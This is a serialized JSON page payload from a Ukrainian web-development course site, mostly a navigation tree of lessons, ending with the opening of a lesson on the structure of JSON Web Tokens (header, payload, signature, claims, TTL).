даних","\u002Fweb-development\u002Ftypeorm-integration\u002F06-pagination-filtering","18.web-development\u002F10.typeorm-integration\u002F06-pagination-filtering",{"title":4541,"path":4542,"stem":4543},"QueryBuilder для складних запитів","\u002Fweb-development\u002Ftypeorm-integration\u002F07-query-builder","18.web-development\u002F10.typeorm-integration\u002F07-query-builder",{"title":4545,"icon":4546,"path":4547,"stem":4548,"children":4549,"page":59},"Зв'язки між сутностями, міграції та оптимізація запитів","i-lucide-git-branch","\u002Fweb-development\u002Fentity-relations-migrations","18.web-development\u002F11.entity-relations-migrations",[4550,4554,4558,4562,4566],{"title":4551,"path":4552,"stem":4553},"Зв'язки One-to-Many та Many-to-One","\u002Fweb-development\u002Fentity-relations-migrations\u002F01-one-to-many-many-to-one","18.web-development\u002F11.entity-relations-migrations\u002F01-one-to-many-many-to-one",{"title":4555,"path":4556,"stem":4557},"Зв'язки One-to-One та Many-to-Many","\u002Fweb-development\u002Fentity-relations-migrations\u002F02-one-to-one-many-to-many","18.web-development\u002F11.entity-relations-migrations\u002F02-one-to-one-many-to-many",{"title":4559,"path":4560,"stem":4561},"Керування міграціями бази даних","\u002Fweb-development\u002Fentity-relations-migrations\u002F03-migrations-management","18.web-development\u002F11.entity-relations-migrations\u002F03-migrations-management",{"title":4563,"path":4564,"stem":4565},"Транзакції у TypeORM","\u002Fweb-development\u002Fentity-relations-migrations\u002F04-transactions","18.web-development\u002F11.entity-relations-migrations\u002F04-transactions",{"title":4567,"path":4568,"stem":4569,"children":4570},"Індекси та оптимізація запитів","\u002Fweb-development\u002Fentity-relations-migrations\u002F05-indexes-optimization","18.web-development\u002F11.entity-relations-migrations\u002F05-indexes-optimization",[4571],{"title":4567,"path":4568,"stem":4569},{"title":4573,"icon":4574,"path":4575,"stem":4576,"children":4577,"page":59},"Механізми автентифікації у вебзастосунках","i-lucide-key","\u002Fweb-development\u002Fauthentication","18.web-development\u002F12.authentication",[4578,4582,4586,4590,4594,4598,4602,4606,4610],{"title":4579,"path":4580,"stem":4581},"Автентифікація vs Авторизація","\u002Fweb-development\u002Fauthentication\u002F01-authentication-vs-authorization","18.web-development\u002F12.authentication\u002F01-authentication-vs-authorization",{"title":4583,"path":4584,"stem":4585},"Стратегії автентифікації","\u002Fweb-development\u002Fauthentication\u002F02-authentication-strategies","18.web-development\u002F12.authentication\u002F02-authentication-strategies",{"title":4587,"path":4588,"stem":4589},"Автентифікація на основі сесій","\u002Fweb-development\u002Fauthentication\u002F03-session-based-authentication","18.web-development\u002F12.authentication\u002F03-session-based-authentication",{"title":4591,"path":4592,"stem":4593},"Структура JSON Web Token (JWT)","\u002Fweb-development\u002Fauthentication\u002F04-jwt-structure","18.web-development\u002F12.authentication\u002F04-jwt-structure",{"title":4595,"path":4596,"stem":4597},"Інтеграція JWT у NestJS","\u002Fweb-development\u002Fauthentication\u002F05-nestjs-jwt-integration","18.web-development\u002F12.authentication\u002F05-nestjs-jwt-integration",{"title":4599,"path":4600,"stem":4601},"Passport.js стратегії у NestJS","\u002Fweb-development\u002Fauthentication\u002F06-passport-strategies","18.web-development\u002F12.authentication\u002F06-passport-strategies",{"title":4603,"path":4604,"stem":4605},"Безпечне зберігання паролів: хешування та криптографічний захист","\u002Fweb-development\u002Fauthentication\u002F07-password-hashing","18.web-development\u002F12.authentication\u002F07-password-hashing",{"title":4607,"path":4608,"stem":4609},"Refresh Token та безпечне оновлення доступу","\u002Fweb-development\u002Fauthentication\u002F08-refresh-tokens","18.web-development\u002F12.authentication\u002F08-refresh-tokens",{"title":4611,"path":4612,"stem":4613},"OAuth 2.0 та OpenID Connect: делегована автентифікація","\u002Fweb-development\u002Fauthentication\u002F09-oauth2-openid","18.web-development\u002F12.authentication\u002F09-oauth2-openid",{"title":4615,"icon":4616,"path":4617,"stem":4618,"children":4619,"page":59},"Авторизація та безпека серверних застосунків","i-lucide-shield","\u002Fweb-development\u002Fauthorization-security","18.web-development\u002F13.authorization-security",[4620,4624,4628,4632,4636,4640,4644,4648,4652,4656],{"title":4621,"path":4622,"stem":4623},"Моделі авторизації","\u002Fweb-development\u002Fauthorization-security\u002F01-authorization-models","18.web-development\u002F13.authorization-security\u002F01-authorization-models",{"title":4625,"path":4626,"stem":4627},"Реалізація RBAC у NestJS","\u002Fweb-development\u002Fauthorization-security\u002F02-rbac-implementation","18.web-development\u002F13.authorization-security\u002F02-rbac-implementation",{"title":4629,"path":4630,"stem":4631},"Permission-Based Access Control","\u002Fweb-development\u002Fauthorization-security\u002F03-permission-based-access","18.web-development\u002F13.authorization-security\u002F03-permission-based-access",{"title":4633,"path":4634,"stem":4635},"ABAC та бібліотека CASL","\u002Fweb-development\u002Fauthorization-security\u002F04-abac-casl","18.web-development\u002F13.authorization-security\u002F04-abac-casl",{"title":4637,"path":4638,"stem":4639},"Кастомні декоратори та метадані","\u002Fweb-development\u002Fauthorization-security\u002F05-custom-decorators-metadata","18.web-development\u002F13.authorization-security\u002F05-custom-decorators-metadata",{"title":4641,"path":4642,"stem":4643},"Конфігурація CORS","\u002Fweb-development\u002Fauthorization-security\u002F06-cors-configuration","18.web-development\u002F13.authorization-security\u002F06-cors-configuration",{"title":4645,"path":4646,"stem":4647},"Захист через HTTP Security Headers (Helmet)","\u002Fweb-development\u002Fauthorization-security\u002F07-helmet-security-headers","18.web-development\u002F13.authorization-security\u002F07-helmet-security-headers",{"title":4649,"path":4650,"stem":4651},"Rate Limiting та Throttling","\u002Fweb-development\u002Fauthorization-security\u002F08-rate-limiting-throttling","18.web-development\u002F13.authorization-security\u002F08-rate-limiting-throttling",{"title":4653,"path":4654,"stem":4655},"Захист від поширених атак","\u002Fweb-development\u002Fauthorization-security\u002F09-common-attacks-protection","18.web-development\u002F13.authorization-security\u002F09-common-attacks-protection",{"title":4657,"path":4658,"stem":4659},"HTTPS у продакшені","\u002Fweb-development\u002Fauthorization-security\u002F10-https-production","18.web-development\u002F13.authorization-security\u002F10-https-production",{"title":4661,"icon":871,"path":4662,"stem":4663,"children":4664,"page":59},"Комунікація у реальному часі, нотифікації та фонові задачі","\u002Fweb-development\u002Frealtime-notifications-jobs","18.web-development\u002F14.realtime-notifications-jobs",[4665,4669,4673,4677,4681,4685,4688,4691,4695,4699],{"title":4666,"path":4667,"stem":4668},"Методи комунікації у реальному часі","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F01-realtime-communication-methods","18.web-development\u002F14.realtime-notifications-jobs\u002F01-realtime-communication-methods",{"title":4670,"path":4671,"stem":4672},"WebSocket Gateway у NestJS","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F02-websocket-gateway","18.web-development\u002F14.realtime-notifications-jobs\u002F02-websocket-gateway",{"title":4674,"path":4675,"stem":4676},"Lifecycle та Rooms у WebSocket","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F03-websocket-lifecycle-rooms","18.web-development\u002F14.realtime-notifications-jobs\u002F03-websocket-lifecycle-rooms",{"title":4678,"path":4679,"stem":4680},"Server-Sent Events (SSE)","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F04-server-sent-events","18.web-development\u002F14.realtime-notifications-jobs\u002F04-server-sent-events",{"title":4682,"path":4683,"stem":4684},"Архітектура системи нотифікацій","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F05-notification-system","18.web-development\u002F14.realtime-notifications-jobs\u002F05-notification-system",{"title":904,"path":4686,"stem":4687},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F06-email-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F06-email-notifications",{"title":900,"path":4689,"stem":4690},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F07-web-push-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F07-web-push-notifications",{"title":4692,"path":4693,"stem":4694},"Фонові задачі та черги","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F08-background-jobs-queues","18.web-development\u002F14.realtime-notifications-jobs\u002F08-background-jobs-queues",{"title":4696,"path":4697,"stem":4698},"Планувальники та Cron jobs","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F09-schedulers-cron","18.web-development\u002F14.realtime-notifications-jobs\u002F09-schedulers-cron",{"title":4700,"path":4701,"stem":4702},"Практичні сценарії застосування","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F10-practical-scenarios","18.web-development\u002F14.realtime-notifications-jobs\u002F10-practical-scenarios",{"title":4704,"icon":4705,"path":4706,"stem":4707,"children":4708,"page":59},"Тестування, документування та розгортання застосунків","i-lucide-rocket","\u002Fweb-development\u002Ftesting-documentation-deployment","18.web-development\u002F15.testing-documentation-deployment",[4709,4713,4717,4721,4725,4729,4733,4737,4741,4745],{"title":4710,"path":4711,"stem":4712},"Піраміда тестування та стратегія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F01-testing-pyramid-strategy","18.web-development\u002F15.testing-documentation-deployment\u002F01-testing-pyramid-strategy",{"title":4714,"path":4715,"stem":4716},"Основи Jest у NestJS","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F02-jest-nestjs-basics","18.web-development\u002F15.testing-documentation-deployment\u002F02-jest-nestjs-basics",{"title":4718,"path":4719,"stem":4720},"Unit-тестування сервісів","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F03-unit-testing-services","18.web-development\u002F15.testing-documentation-deployment\u002F03-unit-testing-services",{"title":4722,"path":4723,"stem":4724},"E2E тестування та покриття коду","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F04-e2e-testing-coverage","18.web-development\u002F15.testing-documentation-deployment\u002F04-e2e-testing-coverage",{"title":4726,"path":4727,"stem":4728},"Swagger, OpenAPI, Scalar та Arazzo","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F05-swagger-openapi","18.web-development\u002F15.testing-documentation-deployment\u002F05-swagger-openapi",{"title":4730,"path":4731,"stem":4732},"Керування конфігурацією","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F06-configuration-management","18.web-development\u002F15.testing-documentation-deployment\u002F06-configuration-management",{"title":4734,"path":4735,"stem":4736},"Docker та контейнеризація","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F07-docker-containerization","18.web-development\u002F15.testing-documentation-deployment\u002F07-docker-containerization",{"title":4738,"path":4739,"stem":4740},"CI\u002FCD Pipelines","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F08-cicd-pipelines","18.web-development\u002F15.testing-documentation-deployment\u002F08-cicd-pipelines",{"title":4742,"path":4743,"stem":4744},"Логування та моніторинг","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F09-logging-monitoring","18.web-development\u002F15.testing-documentation-deployment\u002F09-logging-monitoring",{"title":4746,"path":4747,"stem":4748},"Серіалізація та компресія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F10-serialization-compression","18.web-development\u002F15.testing-documentation-deployment\u002F10-serialization-compression",{"title":4750,"icon":4751,"path":4752,"stem":4753,"children":4754,"page":59},"AI Core: мислення AI","i-lucide-brain","\u002Fai-core","19.ai-core",[4755,4796,4845,4883],{"title":4756,"icon":4705,"path":4757,"stem":4758,"children":4759,"page":59},"Вхід у професію AI Native Developer","\u002Fai-core\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer",[4760,4764,4768,4772,4776,4780,4784,4788,4792],{"title":4761,"path":4762,"stem":4763},"Вступ до професії розробника цифрових продуктів","\u002Fai-core\u002Fai-native-developer\u002Fdigital-products","19.ai-core\u002F01.ai-native-developer\u002F01.digital-products",{"title":4765,"path":4766,"stem":4767},"Професія розробника програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fsoftware-developer","19.ai-core\u002F01.ai-native-developer\u002F02.software-developer",{"title":4769,"path":4770,"stem":4771},"Професія AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer\u002F03.ai-native-developer",{"title":4773,"path":4774,"stem":4775},"Вплив AI на розробку програмного забезпечення","\u002Fai-core\u002Fai-native-developer\u002Fai-impact-on-development","19.ai-core\u002F01.ai-native-developer\u002F04.ai-impact-on-development",{"title":4777,"path":4778,"stem":4779},"Життєвий цикл цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fproduct-lifecycle","19.ai-core\u002F01.ai-native-developer\u002F05.product-lifecycle",{"title":4781,"path":4782,"stem":4783},"Застосування AI на етапах створення цифрового продукту","\u002Fai-core\u002Fai-native-developer\u002Fai-in-product-creation","19.ai-core\u002F01.ai-native-developer\u002F06.ai-in-product-creation",{"title":4785,"path":4786,"stem":4787},"Розподіл завдань між людиною та AI","\u002Fai-core\u002Fai-native-developer\u002Fhuman-vs-ai-tasks","19.ai-core\u002F01.ai-native-developer\u002F07.human-vs-ai-tasks",{"title":4789,"path":4790,"stem":4791},"Компетенції AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcompetencies","19.ai-core\u002F01.ai-native-developer\u002F08.competencies",{"title":4793,"path":4794,"stem":4795},"Карта професійного розвитку AI Native Developer","\u002Fai-core\u002Fai-native-developer\u002Fcareer-roadmap","19.ai-core\u002F01.ai-native-developer\u002F09.career-roadmap",{"title":4797,"icon":255,"path":4798,"stem":4799,"children":4800,"page":59},"Штучний інтелект і машинне навчання","\u002Fai-core\u002Fai-and-machine-learning","19.ai-core\u002F02.ai-and-machine-learning",[4801,4805,4809,4813,4817,4821,4825,4829,4833,4837,4841],{"title":4802,"path":4803,"stem":4804},"Штучний інтелект","\u002Fai-core\u002Fai-and-machine-learning\u002Fwhat-is-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F01.what-is-ai",{"title":4806,"path":4807,"stem":4808},"Відмінність AI від інших програмних систем","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-vs-automation","19.ai-core\u002F02.ai-and-machine-learning\u002F02.ai-vs-automation",{"title":4810,"path":4811,"stem":4812},"Завдання штучного інтелекту","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-tasks","19.ai-core\u002F02.ai-and-machine-learning\u002F03.ai-tasks",{"title":4814,"path":4815,"stem":4816},"Machine Learning","\u002Fai-core\u002Fai-and-machine-learning\u002Fmachine-learning","19.ai-core\u002F02.ai-and-machine-learning\u002F04.machine-learning",{"title":4818,"path":4819,"stem":4820},"Machine Learning Workflow","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-workflow","19.ai-core\u002F02.ai-and-machine-learning\u002F05.ml-workflow",{"title":4822,"path":4823,"stem":4824},"Типи машинного навчання","\u002Fai-core\u002Fai-and-machine-learning\u002Fml-types","19.ai-core\u002F02.ai-and-machine-learning\u002F06.ml-types",{"title":4826,"path":4827,"stem":4828},"Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fgenerative-ai","19.ai-core\u002F02.ai-and-machine-learning\u002F07.generative-ai",{"title":4830,"path":4831,"stem":4832},"Типи контенту, створюваного AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fai-content-types","19.ai-core\u002F02.ai-and-machine-learning\u002F08.ai-content-types",{"title":4834,"path":4835,"stem":4836},"Великі мовні моделі","\u002Fai-core\u002Fai-and-machine-learning\u002Flarge-language-models","19.ai-core\u002F02.ai-and-machine-learning\u002F09.large-language-models",{"title":4838,"path":4839,"stem":4840},"Можливості та обмеження Generative AI","\u002Fai-core\u002Fai-and-machine-learning\u002Fcapabilities-and-limitations","19.ai-core\u002F02.ai-and-machine-learning\u002F10.capabilities-and-limitations",{"title":4842,"path":4843,"stem":4844},"Сучасні AI-асистенти","\u002Fai-core\u002Fai-and-machine-learning\u002Fmodern-ai-assistants","19.ai-core\u002F02.ai-and-machine-learning\u002F11.modern-ai-assistants",{"title":4846,"icon":4847,"path":4848,"stem":4849,"children":4850,"page":59},"Постановка завдань для AI: принципи створення промптів","i-lucide-message-square-text","\u002Fai-core\u002Fprompt-engineering","19.ai-core\u002F03.prompt-engineering",[4851,4855,4859,4863,4867,4871,4875,4879],{"title":4852,"path":4853,"stem":4854},"Промпт як інструмент","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-as-tool","19.ai-core\u002F03.prompt-engineering\u002F01.prompt-as-tool",{"title":4856,"path":4857,"stem":4858},"Принципи створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-principles","19.ai-core\u002F03.prompt-engineering\u002F02.prompt-principles",{"title":4860,"path":4861,"stem":4862},"Структура промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-structure","19.ai-core\u002F03.prompt-engineering\u002F03.prompt-structure",{"title":4864,"path":4865,"stem":4866},"Види промптів за типом задачі","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-types","19.ai-core\u002F03.prompt-engineering\u002F04.prompt-types",{"title":4868,"path":4869,"stem":4870},"Прийоми посилення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-enhancement","19.ai-core\u002F03.prompt-engineering\u002F05.prompt-enhancement",{"title":4872,"path":4873,"stem":4874},"Розбір і покращення промпта","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-analysis","19.ai-core\u002F03.prompt-engineering\u002F06.prompt-analysis",{"title":4876,"path":4877,"stem":4878},"Типові помилки під час створення промптів","\u002Fai-core\u002Fprompt-engineering\u002Fcommon-mistakes","19.ai-core\u002F03.prompt-engineering\u002F07.common-mistakes",{"title":4880,"path":4881,"stem":4882},"Практикум: особиста бібліотека промптів","\u002Fai-core\u002Fprompt-engineering\u002Fprompt-library","19.ai-core\u002F03.prompt-engineering\u002F08.prompt-library",{"title":4884,"icon":793,"path":4885,"stem":4886,"children":4887,"page":59},"Перевірка результатів, безпека та AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow","19.ai-core\u002F04.verification-security-workflow",[4888,4892,4896,4900,4904,4908,4912,4916,4920],{"title":4889,"path":4890,"stem":4891},"Межі можливостей AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-limitations","19.ai-core\u002F04.verification-security-workflow\u002F01.ai-limitations",{"title":4893,"path":4894,"stem":4895},"Галюцинації AI","\u002Fai-core\u002Fverification-security-workflow\u002Fai-hallucinations","19.ai-core\u002F04.verification-security-workflow\u002F02.ai-hallucinations",{"title":4897,"path":4898,"stem":4899},"Критичне мислення під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fcritical-thinking","19.ai-core\u002F04.verification-security-workflow\u002F03.critical-thinking",{"title":4901,"path":4902,"stem":4903},"Перевірка результатів роботи AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresult-verification","19.ai-core\u002F04.verification-security-workflow\u002F04.result-verification",{"title":4905,"path":4906,"stem":4907},"Захист даних під час роботи з AI","\u002Fai-core\u002Fverification-security-workflow\u002Fdata-protection","19.ai-core\u002F04.verification-security-workflow\u002F05.data-protection",{"title":4909,"path":4910,"stem":4911},"Авторське право та навчальна доброчесність","\u002Fai-core\u002Fverification-security-workflow\u002Fcopyright-integrity","19.ai-core\u002F04.verification-security-workflow\u002F06.copyright-integrity",{"title":4913,"path":4914,"stem":4915},"Відповідальне використання AI","\u002Fai-core\u002Fverification-security-workflow\u002Fresponsible-use","19.ai-core\u002F04.verification-security-workflow\u002F07.responsible-use",{"title":4917,"path":4918,"stem":4919},"AI Native Workflow","\u002Fai-core\u002Fverification-security-workflow\u002Fai-native-workflow","19.ai-core\u002F04.verification-security-workflow\u002F08.ai-native-workflow",{"title":4921,"path":4922,"stem":4923},"Застосування AI Native Workflow під час створення цифрового продукту","\u002Fai-core\u002Fverification-security-workflow\u002Fworkflow-in-practice","19.ai-core\u002F04.verification-security-workflow\u002F09.workflow-in-practice",{"title":4925,"icon":4926,"path":4927,"stem":4928,"children":4929,"page":59},"AI Developer: Vibe Coding Sprint","i-lucide-code-xml","\u002Fai-developer","20.ai-developer",[4930,4956,4978,4999],{"title":4931,"icon":4932,"path":4933,"stem":4934,"children":4935,"page":59},"Проєктування і чорнова версія","i-lucide-pencil-ruler","\u002Fai-developer\u002Fdraft-creation","20.ai-developer\u002F01.draft-creation",[4936,4940,4944,4948,4952],{"title":4937,"path":4938,"stem":4939},"Парадигма Vibe Coding Workflow","\u002Fai-developer\u002Fdraft-creation\u002Fvibe-coding-workflow","20.ai-developer\u002F01.draft-creation\u002F01.vibe-coding-workflow",{"title":4941,"path":4942,"stem":4943},"AI-середовище швидкої розробки","\u002Fai-developer\u002Fdraft-creation\u002Fai-ide-environment","20.ai-developer\u002F01.draft-creation\u002F02.ai-ide-environment",{"title":4945,"path":4946,"stem":4947},"Користувацьке завдання та межі першої версії","\u002Fai-developer\u002Fdraft-creation\u002Fproduct-scope-and-mvp","20.ai-developer\u002F01.draft-creation\u002F03.product-scope-and-mvp",{"title":4949,"path":4950,"stem":4951},"Архітектура інтерфейсу та стани застосунку","\u002Fai-developer\u002Fdraft-creation\u002Fapplication-architecture-and-states","20.ai-developer\u002F01.draft-creation\u002F04.application-architecture-and-states",{"title":4953,"path":4954,"stem":4955},"Генерація та фіксація чорнової версії","\u002Fai-developer\u002Fdraft-creation\u002Fgenerating-draft-version","20.ai-developer\u002F01.draft-creation\u002F05.generating-draft-version",{"title":4957,"icon":4958,"path":4959,"stem":4960,"children":4961,"page":59},"Перша робоча версія","i-lucide-play-circle","\u002Fai-developer\u002Ffirst-working-version","20.ai-developer\u002F02.first-working-version",[4962,4966,4970,4974],{"title":4963,"path":4964,"stem":4965},"Уточнення контексту проєкту для AI","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-project-context","20.ai-developer\u002F02.first-working-version\u002F01.refining-project-context",{"title":4967,"path":4968,"stem":4969},"Стратегія завдань для AI-розробки","\u002Fai-developer\u002Ffirst-working-version\u002Fai-prompting-strategy","20.ai-developer\u002F02.first-working-version\u002F02.ai-prompting-strategy",{"title":4971,"path":4972,"stem":4973},"Доопрацювання до першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Frefining-to-working-version","20.ai-developer\u002F02.first-working-version\u002F03.refining-to-working-version",{"title":4975,"path":4976,"stem":4977},"Перевірка першої робочої версії","\u002Fai-developer\u002Ffirst-working-version\u002Ftesting-first-working-version","20.ai-developer\u002F02.first-working-version\u002F04.testing-first-working-version",{"title":4979,"icon":3028,"path":4980,"stem":4981,"children":4982,"page":59},"Ітерації, дебагінг та відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery","20.ai-developer\u002F03.iteration-debugging-recovery",[4983,4987,4991,4995],{"title":4984,"path":4985,"stem":4986},"Управління точковими змінами продукту","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fchange-management","20.ai-developer\u002F03.iteration-debugging-recovery\u002F01.change-management",{"title":4988,"path":4989,"stem":4990},"Надійність інтерфейсу та обробка помилок","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fscenario-reliability-and-errors","20.ai-developer\u002F03.iteration-debugging-recovery\u002F02.scenario-reliability-and-errors",{"title":4992,"path":4993,"stem":4994},"Керування контекстом і збереження версій","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fproject-context-and-versions","20.ai-developer\u002F03.iteration-debugging-recovery\u002F03.project-context-and-versions",{"title":4996,"path":4997,"stem":4998},"Збої AI-розробки, ліміти та аварійне відновлення","\u002Fai-developer\u002Fiteration-debugging-recovery\u002Fai-breakdowns-and-recovery","20.ai-developer\u002F03.iteration-debugging-recovery\u002F04.ai-breakdowns-and-recovery",{"title":5000,"icon":5001,"path":5002,"stem":5003,"children":5004,"page":59},"Перевірка та завершення продукту","i-lucide-check-check","\u002Fai-developer\u002Fverification-and-completion","20.ai-developer\u002F04.verification-and-completion",[5005,5009,5013],{"title":5006,"path":5007,"stem":5008},"Комплексний аудит та підсумкове тестування","\u002Fai-developer\u002Fverification-and-completion\u002Ffinal-product-testing","20.ai-developer\u002F04.verification-and-completion\u002F01.final-product-testing",{"title":5010,"path":5011,"stem":5012},"Підготовка підсумкової версії коду","\u002Fai-developer\u002Fverification-and-completion\u002Fpreparing-release-version","20.ai-developer\u002F04.verification-and-completion\u002F02.preparing-release-version",{"title":5014,"path":5015,"stem":5016},"Демонстрація, публікація та критерії оцінювання","\u002Fai-developer\u002Fverification-and-completion\u002Fproduct-showcase-and-publishing","20.ai-developer\u002F04.verification-and-completion\u002F03.product-showcase-and-publishing",{"title":5018,"path":5019,"stem":5020,"children":5021,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[5022,5026,5030,5034,5038,5042,5046,5050,5054,5058,5062,5066],{"title":5023,"path":5024,"stem":5025},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":5027,"path":5028,"stem":5029},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":5031,"path":5032,"stem":5033},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":5035,"path":5036,"stem":5037},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":5039,"path":5040,"stem":5041},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":5043,"path":5044,"stem":5045},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":5047,"path":5048,"stem":5049},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":5051,"path":5052,"stem":5053},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":5055,"path":5056,"stem":5057},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":5059,"path":5060,"stem":5061},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":5063,"path":5064,"stem":5065},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":5067,"path":5068,"stem":5069},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":5071,"path":5072,"stem":5073},"Тестування компонентів діаграм","\u002Ftest-components","98.test-components",{"id":5075,"title":4591,"body":5076,"description":5270,"extension":10646,"links":10647,"meta":10648,"navigation":6090,"path":4592,"seo":10649,"stem":4593,"__hash__":10650},"docs\u002F18.web-development\u002F12.authentication\u002F04-jwt-structure.md",{"type":5077,"value":5078,"toc":10611},"minimark",[5079,5083,5088,5092,5165,5168,5171,5244,5246,5250,5253,5258,5261,5271,5276,5282,5370,5374,5377,5421,5426,5513,5520,5598,5621,5625,5632,5706,5709,5859,5874,5878,5881,5952,5957,5984,5995,5997,6001,6004,6008,6023,6028,6047,6052,6374,6379,6390,6395,6410,6415,6426,6430,6447,6451,6483,6488,6546,6551,6864,6869,6890,6895,6915,6920,6931,6964,6966,6970,6980,6984,6987,7121,7126,7329,7333,7341,7350,7451,7461,7469,7495,7502,7505,7650,7657,7663,7923,7933,7937,7943,7989,7995,8065,8079,8081,8085,8092,8096,8099,8121,8126,8141,8145,8910,8915,8926,8928,8932,8935,8939,8945,8956,8961,8983,9043,9047,9345,9349,9356,9529,9534,9583,9597,9599,9603,9606,9610,9625,9631,9634,9639,9716,9728,9732,9735,9757,9760,9764,9840,9852,9856,9865,9870,10138,10140,10144,10521,10523,10527,10558,10560,10564,10596,10607],[5080,5081,4591],"h1",{"id":5082},"структура-json-web-token-jwt",[5084,5085,5087],"h2",{"id":5086},"короткий-зміст","Короткий зміст",[5089,5090,5091],"p",{},"У цій лекції розглядається внутрішня будова та криптографічні засади JWT токенів:",[5093,5094,5095,5103,5113,5119,5153,5159],"ul",{},[5096,5097,5098,5102],"li",{},[5099,5100,5101],"strong",{},"Структура токена"," — три частини: Header (метадані та алгоритм підпису), Payload (корисне навантаження з claims), Signature (криптографічний підпис для верифікації)",[5096,5104,5105,5108,5109],{},[5099,5106,5107],{},"Формат та кодування"," — Base64URL кодування кожної частини, формат ",[5110,5111,5112],"code",{},"header.payload.signature",[5096,5114,5115,5118],{},[5099,5116,5117],{},"Алгоритми підпису"," — симетричні (HS256, HS384, HS512 з shared secret) vs асиметричні (RS256, RS384, RS512 з парою ключів public\u002Fprivate)",[5096,5120,5121,5124,5125,5128,5129,5132,5133,5136,5137,5140,5141,5144,5145,5148,5149,5152],{},[5099,5122,5123],{},"Стандартні claims"," — registered claims (",[5110,5126,5127],{},"iss"," issuer, ",[5110,5130,5131],{},"sub"," subject, ",[5110,5134,5135],{},"aud"," audience, ",[5110,5138,5139],{},"exp"," expiration, ",[5110,5142,5143],{},"iat"," issued at, ",[5110,5146,5147],{},"nbf"," not before, ",[5110,5150,5151],{},"jti"," JWT ID), public та private claims",[5096,5154,5155,5158],{},[5099,5156,5157],{},"Час життя токена (TTL)"," — короткий TTL для безпеки (15 хв для access token), проблема відкликання токенів до закінчення TTL",[5096,5160,5161,5164],{},[5099,5162,5163],{},"Інструменти"," — jwt.io для декодування та верифікації, практичні приклади аналізу реальних токенів",[5089,5166,5167],{},"Вивчається, чому JWT є stateless (сервер не зберігає токени), як працює верифікація підпису без звернення до БД, та чому JWT не можна відкликати без додаткових механізмів (blacklist або refresh token 